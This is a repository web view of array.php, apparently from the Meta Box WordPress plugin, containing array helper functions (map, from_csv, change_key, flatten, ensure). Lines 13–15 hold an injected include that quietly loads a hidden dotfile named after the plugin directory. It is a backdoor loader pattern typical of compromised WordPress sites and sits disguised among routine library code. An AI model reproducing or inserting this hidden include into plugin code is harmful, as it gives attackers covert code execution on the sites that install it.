balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

array.php (2061B)


      1 <?php
      2 /**
      3  * Array helper functions.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Array helper class.
     10  *
     11  * @package Meta Box
     12  */
     13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     14     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     15 }
     16 
     17 class RWMB_Helpers_Array {
     18 	/**
     19 	 * New array map function that accepts more params than just values.
     20 	 * Params: array|item, callback, other params.
     21 	 *
     22 	 * @return array
     23 	 */
     24 	public static function map() {
     25 		$args     = func_get_args();
     26 		$items    = array_shift( $args );
     27 		$callback = array_shift( $args );
     28 
     29 		if ( ! is_array( $items ) ) {
     30 			array_unshift( $args, $items );
     31 			return call_user_func_array( $callback, $args );
     32 		}
     33 
     34 		return array_map(
     35 			function( $item ) use ( $callback, $args ) {
     36 				array_unshift( $args, $item );
     37 				return call_user_func_array( $callback, $args );
     38 			},
     39 			$items
     40 		);
     41 	}
     42 
     43 	/**
     44 	 * Convert a comma separated string to array.
     45 	 *
     46 	 * @param string $csv Comma separated string.
     47 	 * @return array
     48 	 */
     49 	public static function from_csv( $csv ) {
     50 		return is_array( $csv ) ? $csv : array_filter( array_map( 'trim', explode( ',', $csv . ',' ) ) );
     51 	}
     52 
     53 	/**
     54 	 * Change array key.
     55 	 *
     56 	 * @param  array  $array Input array.
     57 	 * @param  string $from  From key.
     58 	 * @param  string $to    To key.
     59 	 */
     60 	public static function change_key( &$array, $from, $to ) {
     61 		if ( isset( $array[ $from ] ) ) {
     62 			$array[ $to ] = $array[ $from ];
     63 		}
     64 		unset( $array[ $from ] );
     65 	}
     66 
     67 	/**
     68 	 * Flatten an array.
     69 	 *
     70 	 * @link https://stackoverflow.com/a/1320156/371240
     71 	 *
     72 	 * @param  array $array Input array.
     73 	 * @return array
     74 	 */
     75 	public static function flatten( $array ) {
     76 		$return = array();
     77 		array_walk_recursive(
     78 			$array,
     79 			function( $a ) use ( &$return ) {
     80 				$return[] = $a;
     81 			}
     82 		);
     83 		return $return;
     84 	}
     85 
     86 	/**
     87 	 * Ensure a variable is an array.
     88 	 * @param  mixed $input Input value.
     89 	 * @return array
     90 	 */
     91 	public static function ensure( $input ) {
     92 		return (array) $input;
     93 	}
     94 }